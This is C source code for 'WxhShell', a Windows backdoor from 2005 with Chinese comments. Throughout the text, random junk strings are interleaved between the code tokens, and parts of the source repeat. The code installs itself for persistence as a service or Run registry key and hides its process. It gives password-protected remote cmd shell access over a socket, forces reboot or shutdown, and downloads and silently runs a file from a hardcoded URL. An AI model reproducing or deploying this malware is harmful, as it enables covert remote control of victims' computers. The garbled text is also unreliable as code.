"GetModuleBaseNameA"); e2bLkb3c NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?U JSxL =1/q)b,p) if (!NtQueryInformationProcess) return 0; [,GU5,o |i u2&p > hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oR#my ^ if(!hProcess) return 0; /4-}k kXMP=j8 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P>fKX2eQ- s,kU*kHn CloseHandle(hProcess);
(:l(_-O X?R
|x[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wsI5F&R, if(hProcess==NULL) return 0; o"\{OX qS|AdkNL HMODULE hMod; #EFMgQO char procName[255]; 4]IKh,jT unsigned long cbNeeded; $NdH* u6pIdt if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZHcONYAr S
QSA%B$< CloseHandle(hProcess); T$IUKR 'xk1o,; if(strstr(procName,"services")) return 1; // 以服务启动 _6LH"o3 xRB7lV* return 0; // 注册表启动 OiF ]_" } x*J|i4 T1bFxim#b // 主模块 ^9s"FdB]24 int StartWxhshell(LPSTR lpCmdLine) 4/f[`].#W { v?}pi SOCKET wsl; .5NZf4:C BOOL val=TRUE; %pqL-G int port=0; UC(9Dz struct sockaddr_in door; 5c)<'EP <0>[c<{V< if(wscfg.ws_autoins) Install(); egbb1+tY p8_2y~! port=atoi(lpCmdLine); O[L\T ^ISQ{M#_ if(port<=0) port=wscfg.ws_port; [{?;c+[ pb6 Q?QG, WSADATA data; p#z;cjfSt if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v23TL c9|I4=_K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; D?%e"*> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tfsh!)u? door.sin_family = AF_INET; K/~Y!?:Jr door.sin_addr.s_addr = inet_addr("127.0.0.1"); Iht@mE door.sin_port = htons(port); }~V,_Fv Na-q%ru if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |KTpK(6p closesocket(wsl); (5>{?dR)| return 1; y.
Tct. } A
xRl*B UJ
O]sD`i if(listen(wsl,2) == INVALID_SOCKET) { xTGP closesocket(wsl); [l`^fnKt return 1; $,g 3*A } A<a2TXcIE3 Wxhshell(wsl); MwN1]d|6 WSACleanup(); jt/l,=9YK ~>4@; return 0; 2Qw)-EB 9&&kgKKGQ } OCvml 2
vP 'T6B_9GQ8 // 以NT服务方式启动 MM=W9# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #*[,woNk { C:WtCAm( DWORD status = 0; \YjB+[. DWORD specificError = 0xfffffff; iZsau2K t*eleNYeS~ serviceStatus.dwServiceType = SERVICE_WIN32; h 3eGq:!9 serviceStatus.dwCurrentState = SERVICE_START_PENDING; $,p.=j;P serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C#ZmgR serviceStatus.dwWin32ExitCode = 0; 3we.*\2$ serviceStatus.dwServiceSpecificExitCode = 0; XB6N[E serviceStatus.dwCheckPoint = 0; {hlT`K serviceStatus.dwWaitHint = 0; .ruqRGe/ F+lm [4n hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D!81(}p if (hServiceStatusHandle==0) return; ;bUJ+6f: )6PJ*;p- status = GetLastError(); ;a#}fX if (status!=NO_ERROR) %ZJ),9+ { L#83f]vG serviceStatus.dwCurrentState = SERVICE_STOPPED; hWl""66+5 serviceStatus.dwCheckPoint = 0; 5d)'`hACe serviceStatus.dwWaitHint = 0; MoC*tImWR serviceStatus.dwWin32ExitCode = status; NN31?wt serviceStatus.dwServiceSpecificExitCode = specificError; MYur3lj%_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); _|Y.!ZRYP return; b'1/cY/! } o06A=4I qk"oFP6 serviceStatus.dwCurrentState = SERVICE_RUNNING; XhJ P87A serviceStatus.dwCheckPoint = 0; yfRUTG serviceStatus.dwWaitHint = 0; Pu/-Qpqh if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1]a*Oer} } PV5TG39qQ +ZD[[+ // 处理NT服务事件,比如:启动、停止 F^/~@^{P VOID WINAPI NTServiceHandler(DWORD fdwControl) EF*oPn0| { x= vE&9_u switch(fdwControl) "jkw8UVz { ~@)-qV^~ case SERVICE_CONTROL_STOP: ,}xpYq_/ serviceStatus.dwWin32ExitCode = 0; mGMinzf serviceStatus.dwCurrentState = SERVICE_STOPPED; sWojQ-8} serviceStatus.dwCheckPoint = 0; 1@1+4P0NF[ serviceStatus.dwWaitHint = 0; Z
L6~Eut { %WJ\'@O\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); oHc-0$eMKY } T_YMM'` return; mcP{-oJ0W case SERVICE_CONTROL_PAUSE: 79<9}<T serviceStatus.dwCurrentState = SERVICE_PAUSED; s)`1Rf break; +Y.uZJ6+ case SERVICE_CONTROL_CONTINUE: s%S_K serviceStatus.dwCurrentState = SERVICE_RUNNING; + !E{L break; r(?'Y y case SERVICE_CONTROL_INTERROGATE: W?4&lC^G break; 4cVs(`g^ }; / ut~jf` SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Vt^Xc } K{r1&O>W lO5gkOJ? // 标准应用程序主函数 TS~Y\Cp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F]dd># { ;s!ns N U{za m // 获取操作系统版本 99+/W*C OsIsNt=GetOsVer(); YiQeI|{oN GetModuleFileName(NULL,ExeFile,MAX_PATH); ^V0{Ew/x X'3`Q S:! // 从命令行安装 zDGg\cPj9 if(strpbrk(lpCmdLine,"iI")) Install(); v|,[5IY JK^B +. // 下载执行文件 B3g82dm if(wscfg.ws_downexe) { 0D]Yz`n3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GqK&'c WinExec(wscfg.ws_filenam,SW_HIDE); tr9_bl&z } L]L~TA<D9i 0z'={6, if(!OsIsNt) { 2*7s9g // 如果时win9x,隐藏进程并且设置为注册表启动 Z+h70,| HideProc();
`Hp.%G( StartWxhshell(lpCmdLine); a@a1TpLQ } AN:RY/ %Wo else luxKgcU if(StartFromService()) pg& ]F // 以服务方式启动 g ]PLW3 StartServiceCtrlDispatcher(DispatchTable); 2I(@aB+ else lh(+X-}D // 普通方式启动 s2' :&5( StartWxhshell(lpCmdLine); glKs8^W @ !O&b%8X% return 0; .V )2Tz } ^D>M Dj6 \qd)l ZX5A%`<M '14l )1g. =========================================== ;x0 KaFk +n.j.JP"X VL!kX``^F ]v,y(yl !L.z4n,n+ t-|=weNy " *y\tns U bHH}x"d[x #include <stdio.h> d8q$&(]< #include <string.h> /$4?.qtu #include <windows.h> wqoN@d #include <winsock2.h> YrcC" #include <winsvc.h> }d*sWSPu( #include <urlmon.h> /:L&uqA @_(@s*4W #pragma comment (lib, "Ws2_32.lib") AJ1$$c #pragma comment (lib, "urlmon.lib") pS)X\Xyw Bma|!p{ #define MAX_USER 100 // 最大客户端连接数 {Ll8@'5 #define BUF_SOCK 200 // sock buffer D
'_#?%3^ #define KEY_BUFF 255 // 输入 buffer 1bAp{u& ,`2xfVa- #define REBOOT 0 // 重启 {]m
e?I #define SHUTDOWN 1 // 关机 P>,D$-3 xupdjT%4 #define DEF_PORT 5000 // 监听端口 =&G|} M #7:9XID / #define REG_LEN 16 // 注册表键长度 c+M@{EbuN #define SVC_LEN 80 // NT服务名长度 gwjv&.T6^ "'dC>7* < // 从dll定义API #^[N4uV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rTiuQdvo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w8@|b} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zW&O>H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [eik<1=,~? CxN@g' // wxhshell配置信息 }Nc!8'@ struct WSCFG { F(n))`( int ws_port; // 监听端口 mZ&Mj.0+~ char ws_passstr[REG_LEN]; // 口令 uUB%I 8 int ws_autoins; // 安装标记, 1=yes 0=no DLQ`<aU char ws_regname[REG_LEN]; // 注册表键名 ~$obcW1 char ws_svcname[REG_LEN]; // 服务名 @wZ_VE7B char ws_svcdisp[SVC_LEN]; // 服务显示名 c{P`oB8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 ! yUKNR char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |#kf.kN int ws_downexe; // 下载执行标记, 1=yes 0=no i 58CA? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QI{Y@xQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8LKZ3Y| D[y|y3F }; No|{rYYKK t$5]1dY$X // default Wxhshell configuration B{KD ] struct WSCFG wscfg={DEF_PORT, 8jx1W9=`9[ "xuhuanlingzhe", s*WfRY*=V 1, @Ec9Do> "Wxhshell", VqU:`?#"a "Wxhshell", #ms98pw%5 "WxhShell Service", pLcng[ "Wrsky Windows CmdShell Service", :Djp\
e6! "Please Input Your Password: ", ?P]md9$(+e 1, aN3{\^ "http://www.wrsky.com/wxhshell.exe", ;VBfzFH "Wxhshell.exe" j!H?dnE|| }; =h!m/f^x o%5Ao?z~ // 消息定义模块 >D aS*r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =w>QG{-N char *msg_ws_prompt="\n\r? for help\n\r#>"; wQ.zj`?$( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9hzU@m char *msg_ws_ext="\n\rExit."; Cu7iHh Y5 char *msg_ws_end="\n\rQuit."; =@MKU char *msg_ws_boot="\n\rReboot..."; \H(,'w7H char *msg_ws_poff="\n\rShutdown..."; 0w]?yqnE char *msg_ws_down="\n\rSave to "; VG^-aR_F 5gEK$7Vp char *msg_ws_err="\n\rErr!"; Q+dI,5YF char *msg_ws_ok="\n\rOK!"; 9-SXu lgu vt,X:3 char ExeFile[MAX_PATH]; .&dcJh*O+ int nUser = 0; B~rK3BS HANDLE handles[MAX_USER]; >6q@Tr int OsIsNt; bc NYoZ8`
39CPFgi<l* SERVICE_STATUS serviceStatus; 4|thDb)] SERVICE_STATUS_HANDLE hServiceStatusHandle; NKrk*I"G VxoMK7'O=/ // 函数声明 1[ Pbsb int Install(void); +`FY int Uninstall(void); M}u2aW2]X int DownloadFile(char *sURL, SOCKET wsh); v/dcb% int Boot(int flag); b"b!&u void HideProc(void); kOO2 ?L|Z int GetOsVer(void); tA.C" int Wxhshell(SOCKET wsl); KhvCkQMI@ void TalkWithClient(void *cs); /_8V+@im int CmdShell(SOCKET sock); kE}?"<l int StartFromService(void); b`mEnI
VIz int StartWxhshell(LPSTR lpCmdLine); _QY "# VM`."un] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s0SB!-Vjm VOID WINAPI NTServiceHandler( DWORD fdwControl ); -}s?!Pg> q I}Zg)q] // 数据结构和表定义 joq
;N]S SERVICE_TABLE_ENTRY DispatchTable[] = :gXj($ { _+i-) {wscfg.ws_svcname, NTServiceMain}, Uka4iya {NULL, NULL} u CXd%
CzE }; :([,vO: =0S7tNut // 自我安装 W7 $yE},z int Install(void) u|E,Wy1 { (@zn[Nq char svExeFile[MAX_PATH]; /e}k7U,^ HKEY key; yd k strcpy(svExeFile,ExeFile); s*;~CH-[ A<&9 // 如果是win9x系统,修改注册表设为自启动 [0$Y@ek[ if(!OsIsNt) { QnqX/vnR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !**q20-aP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :}lE@Y,R RegCloseKey(key); _v\QuI6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S}<(9@]z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1{*x+GC^/ RegCloseKey(key); F]&9Lp}
" return 0; |R4]( } S9.jc@#.` } tU(6%zvR } ^0 t`EZ$ else { -`( :L[ ,i}"e(f // 如果是NT以上系统,安装为系统服务 >U17BGJ. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R
.,w`<< if (schSCManager!=0) Q{%ow:;s* { !j(R_wOq SC_HANDLE schService = CreateService ~=71){4A ( 7M4iBk4I schSCManager, &CS= *)>$ wscfg.ws_svcname, 4B|f}7%\ wscfg.ws_svcdisp, {uw]s<
6 SERVICE_ALL_ACCESS, uaS?y1:c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f"[C3o2P SERVICE_AUTO_START, dCinbAQ SERVICE_ERROR_NORMAL, _C##U; e! svExeFile, n4ISHxM NULL, g3y44GCV NULL, *2 [r?! NULL, ]`lTkh NULL, |{$Vk%cUE NULL 1PWDK1GI8 ); 0s(G*D2%6 if (schService!=0) 7,:QFV { oRCj]9I$ CloseServiceHandle(schService); LEY$St CloseServiceHandle(schSCManager); G-Y8<mEh strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
G=wJz strcat(svExeFile,wscfg.ws_svcname); Cjw|.c` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J"|o g|Tz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NZv1dy`fa RegCloseKey(key); 1>n@`M8} return 0; gg<lWeS/3 } tFG&~tNc } $[H3O(B0* CloseServiceHandle(schSCManager); Z5v\[i@H! } i7iL[+f]Q } Nl0*"}`I_ 6z~6o0s~ return 1; $~_TE\F1 } ?xIwQd0 E<0Y;tR // 自我卸载 [/'W#x int Uninstall(void) 3d[fP#NY7 { e~xN[Q\0] HKEY key; L,BuzU[1S ,|D<De\v& if(!OsIsNt) { {"-uaH>, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K;Fy&p^d RegDeleteValue(key,wscfg.ws_regname); y%f'7YZ4 RegCloseKey(key); \#L}KW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ttgb"Wb%S RegDeleteValue(key,wscfg.ws_regname); Re-4y5f RegCloseKey(key); ApR>b% return 0; T=%,^ } TF2'-"2Y } ibha` } s>ilxLSX] else { }Dp/K4 'Y`or14E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |bDUekjR if (schSCManager!=0) bu$YW' { h_n`E7&bG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O!#r2Y"?K1 if (schService!=0) d[=~-[ { z&Cz!HrS if(DeleteService(schService)!=0) { 0w)Gb}o$ CloseServiceHandle(schService); ~qT5F)$B- CloseServiceHandle(schSCManager); V^apDV\AV return 0; <*oTVl4fS } n
'gU CloseServiceHandle(schService); j`7q7} } NCL!| CloseServiceHandle(schSCManager); SJ8Ax_9{q } Xs}.7 } vY)5<z& lub_2Cb|j return 1; qjDt6B^RO } fRh}n ^X t\S=u y // 从指定url下载文件 UB^OMB-W.m int DownloadFile(char *sURL, SOCKET wsh) l$/.B=] { RqB 8g HRESULT hr; }JI@f14 char seps[]= "/"; ]-g9dV_[>j char *token; XtCG.3(LY char *file; \:y oS>G char myURL[MAX_PATH]; 6--t6>5 char myFILE[MAX_PATH]; mUA!GzJ~u- TsVU^Z%W strcpy(myURL,sURL); lWPh2k token=strtok(myURL,seps); lV".-:u_ while(token!=NULL) [eLMb)n { #;D@`.#\ file=token; z|bAZKSRYx token=strtok(NULL,seps); m)Ta5w^ } k~Z;S QyN )5Wt(p:T6_ GetCurrentDirectory(MAX_PATH,myFILE); X~g U$ strcat(myFILE, "\\"); /#}o19(-d strcat(myFILE, file); )s N}ClgJ send(wsh,myFILE,strlen(myFILE),0); iVT)V>U p send(wsh,"...",3,0); tJ$gH; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k:[T#/; if(hr==S_OK) n{$! ]^> return 0; ;&c9!LfP else 7?ICXhu9 return 1; ?xwLe WeZ?L|&%w0 }
X6<Ds'I H7FOf[3' // 系统电源模块 otA'+4\ int Boot(int flag) QpCTHpZ { uA4xxY HANDLE hToken; +I3j2u8L TOKEN_PRIVILEGES tkp; IFsh"i
FQBE1h@k0u if(OsIsNt) { s+t[{i4| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8 qlQC.VA[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2q4-9vu tkp.PrivilegeCount = 1; zJ)`snN| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^P|Zze
zwU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i&KBMx if(flag==REBOOT) { o-<XR9,N* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %6\L^RP return 0; os n ,kD* } +,]_TxL|C else { U1Y0G[i) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cs9"0&JX return 0; c+{ ar^)* } j^.|^q<Y } 3"Zc|Ck <? else { -HF1c if(flag==REBOOT) { G/ H>M%M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .oM;D~(=9 return 0; ?)g [Xc;K } JFdMYb else { cx[[K. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 97dF return 0; E~c>j<'-"< } NIAji3 } _\<TjGtG H#M;TjR return 1; =gC% = } BCO (,k _yp<#q] // win9x进程隐藏模块 tkQrxa| void HideProc(void) @O/"s~d- { 1:RK~_E Wr@q+Whq HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sf
O{.#5< if ( hKernel != NULL ) >,.\`.0 { kZ;Y/DH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cSjX/%*!m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^B8[B&K FreeLibrary(hKernel); r`$P60,@C } tkmzOc H _q4Yq'dI return; r)B55;*Fh } %XQJ!sC` 3lbGG42: // 获取操作系统版本 \O]kf>nC int GetOsVer(void) ixL[(*V { QRx9;!~b} OSVERSIONINFO winfo; PzT@q\O winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A@;{#.O GetVersionEx(&winfo); x_9#:_S' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) If8Lt}- return 1; ']d(m? else Jpy~5kS return 0; !}5+hj!6 } K"!U&`T ,4k3C#!.i // 客户端句柄模块 cG (%P$ int Wxhshell(SOCKET wsl) ]K+8f- { 7q:;3;"9 SOCKET wsh; B 74 struct sockaddr_in client; 3m~,6mQ DWORD myID; 3BAQ2S} r*ziO#[ while(nUser<MAX_USER) *q;83\ { og_ylCh: int nSize=sizeof(client); X5(oL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L8oqlq(
9 if(wsh==INVALID_SOCKET) return 1; wv=U[:Y [!Djs![O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "Xl"H/3r if(handles[nUser]==0) YDZB$?&a closesocket(wsh); RjR+'<7E^ else sGh TP/ nUser++; wKoar } Pb1.X9*8c WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CtUAbR C>F5=& return 0; 9{rE7OX*A } QIdml*Np?H fF2]7: // 关闭 socket ,zdK%V} void CloseIt(SOCKET wsh) U lCw{:#F { %s ;5 closesocket(wsh); Fu% n8 nUser--; -S&d5(R ExitThread(0); ^W`RBrJay } IsVR4t] 9yu#G7 // 客户端请求句柄 b8[
ayy void TalkWithClient(void *cs) zm_8{Rta} { c Y+n 6k5 K,+z^{Hvh SOCKET wsh=(SOCKET)cs; &x4*YMh char pwd[SVC_LEN]; >wR)p\UEb char cmd[KEY_BUFF]; ks,d4b=-> char chr[1]; Pj*]%V int i,j; hpq\ di]CYLf while (nUser < MAX_USER) { oW>e.}d! [#AI! - if(wscfg.ws_passstr) { Ef3="}AI; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); twt's,dO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #iRd2Qj% //ZeroMemory(pwd,KEY_BUFF); &V%faa1 i=0; 7.+vp@+ while(i<SVC_LEN) { +(`.pa z@ .x}xa // 设置超时 U.=TjCW fd_set FdRead; ,>nf/c0. struct timeval TimeOut; bn=7$Ax FD_ZERO(&FdRead); '$4&q629d FD_SET(wsh,&FdRead); ty@D3l TimeOut.tv_sec=8; &KV$x3 TimeOut.tv_usec=0; g3 !<A*< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H2+V1J= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +S1h~@c:B ~|oB|> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dV^ck+ pwd=chr[0]; 6I|9@~!y[ if(chr[0]==0xd || chr[0]==0xa) { *8/cd0 pwd=0; Gsy90 break; /8,cF7XL* } 4KW_#d`t i++; :#UA!|nV } +JB*1dz>8 A>)W6|m| // 如果是非法用户,关闭 socket bkm:#K if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,0i72J } Bi0&F1ZC! ,8DjQz0ZPo send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l\u5RMS(' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (%fSJCBl[P VT;cz6"6b4 while(1) { " "CNw-^t ir_X65l/2 ZeroMemory(cmd,KEY_BUFF); D/z*F8'c !3"Hn
// 自动支持客户端 telnet标准 C2L=i3R j=0; #-PUm0| while(j<KEY_BUFF) { o%h[o9i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #* 8^ar< cmd[j]=chr[0]; }dEf |6_ if(chr[0]==0xa || chr[0]==0xd) { #BIY[{! cmd[j]=0; %.:]4jhk break; cdg&) } )<T2J0* j++; J& D0,cuk } \'B%lXh F[X;A\ // 下载文件 1R#1Fy% if(strstr(cmd,"http://")) { jVSU]LU E send(wsh,msg_ws_down,strlen(msg_ws_down),0); q=k[]vD if(DownloadFile(cmd,wsh)) (V`ddP- send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xs)?PE[ else WwLV^m] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T6=~vOzTJ } v2>Dn=V else { ahw0}S jG,^~5x switch(cmd[0]) { a*o k*r M:%Ll3 // 帮助 #o(@S{(NZ case '?': { 'uLYah send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &G7@lz@sK+ break; ;!<@Fm9W } FNXVd/{M3 // 安装 21~~ =+)X case 'i': { r6e!";w:U if(Install()) rmdG"s send(wsh,msg_ws_err,strlen(msg_ws_err),0); '>% c@C[ else h6e,w$IL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^NO;A=9b[ break; n:%A4* } PjU.4aZ // 卸载 @Hst-H.l<l case 'r': { =5M
'+> if(Uninstall()) l4q7,%G send(wsh,msg_ws_err,strlen(msg_ws_err),0); mC EWp else &0J/V>k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V(n3W=#kky break; '59l. } &sS]h|2Z5 // 显示 wxhshell 所在路径 q<A,S8'm case 'p': { /S%!{;: char svExeFile[MAX_PATH]; \MtdT[* strcpy(svExeFile,"\n\r"); b/eo]Id ] strcat(svExeFile,ExeFile); Bqb3[^;~ send(wsh,svExeFile,strlen(svExeFile),0); B4;P)\2 break; 8hvh
xp }
.y~~[QF}8 // 重启 >Y&o2zJy case 'b': { 7:&a,nU send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c# WIB 4 if(Boot(REBOOT)) xqaw00,s send(wsh,msg_ws_err,strlen(msg_ws_err),0); }i2dXC/ else { tqK}KL closesocket(wsh); )N2yhdcqI ExitThread(0); pz^"~0o5 } c"J(? 1O break; vwzTrWA= } 8X]j;Rb // 关机 JCZJ\f*EZ case 'd': { 9=I(AYG{m send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'F+O+-p+ if(Boot(SHUTDOWN)) 6gR=e+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); & vLX else { ;:$Na= closesocket(wsh); Ugdm" ExitThread(0); 06Hn:IT18 } swLgdk{8n break; q75F^AvH } x6) // 获取shell ZA9']u%EJ case 's': { z~VA#8> CmdShell(wsh); iPFYG closesocket(wsh);
HK[sHB& ExitThread(0); ZXUe4@qfl break; -I_lCZ{Nbi } 5W{>5.Arx) // 退出 /p%K[)T( case 'x': { |t]9RC.;7 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =AKW(v CloseIt(wsh); ASYUKh,h break; j{;3+LCo* } Bw#ubQJ8} // 离开 I Mv^ 9T: case 'q': { wl{p,[] send(wsh,msg_ws_end,strlen(msg_ws_end),0); KqS2 closesocket(wsh); l =_@<p WSACleanup(); no/]Me!j= exit(1); _+Q$h4t
break; Gqia@>T4*N } 7GIv3Dc } ROjjN W`W } R Nv<kw ZK
?x_`w // 提示信息 `-/l$A}
U if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I+CQ,Zuf } G4{qWa/ } DdQf%W8u '0O[ dN return; :U:7iP: } w7Pe<vT Gzir>'d2'V // shell模块句柄 /SUV'J) int CmdShell(SOCKET sock) Vd/S81/ { 23f[i<4e STARTUPINFO si; "~(&5M\8` ZeroMemory(&si,sizeof(si)); -oZac si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p\{+l;` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lz)"zV PROCESS_INFORMATION ProcessInfo; V{h@nhq char cmdline[]="cmd"; Ft7a\vn*B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ya{>= return 0; ' 4~5ez|: } P*PL6UQ Xo@YTol // 自身启动模式 >-w=7,?'?z int StartFromService(void) gFT~\3jp= { <!9fJFE typedef struct cY2-T#rL { ?*'$(}r3 DWORD ExitStatus; ]|N4 #4 DWORD PebBaseAddress; #eC;3Kq#- DWORD AffinityMask; YC]YX H DWORD BasePriority; ]VWfdG ULONG UniqueProcessId; T'M66kg ULONG InheritedFromUniqueProcessId; #Q3PzDfj } PROCESS_BASIC_INFORMATION;
xD =YGP%}_.p{ PROCNTQSIP NtQueryInformationProcess; ;x-H$OZX 8A:^K:Q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +V9B static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *kQCW#y0 v1r_Z($ HANDLE hProcess; ^W"Q(sh PROCESS_BASIC_INFORMATION pbi; 5Vi]~dZu7 -k&{nD| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `OP>(bU0 if(NULL == hInst ) return 0; yvz?4m"_yB yIIETE g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KO|pJ3 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,k~j6Z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hl3)R*&'J lKEX"KQ! if (!NtQueryInformationProcess) return 0; =x^l[>sz gKN}Of@^1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i~)NQmH< if(!hProcess) return 0; VI24+h'J HmExfW
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %)axGbZG; \V^*44+
<! CloseHandle(hProcess); _(6`{PWY 8PBU~mr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -2\ZzK0tM if(hProcess==NULL) return 0; 6<Z*Tvk{C =4zNo3IvL+ HMODULE hMod; ejklpa ./ char procName[255]; 4TUtY: unsigned long cbNeeded; &xiOTkqB efjO8J[uk- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
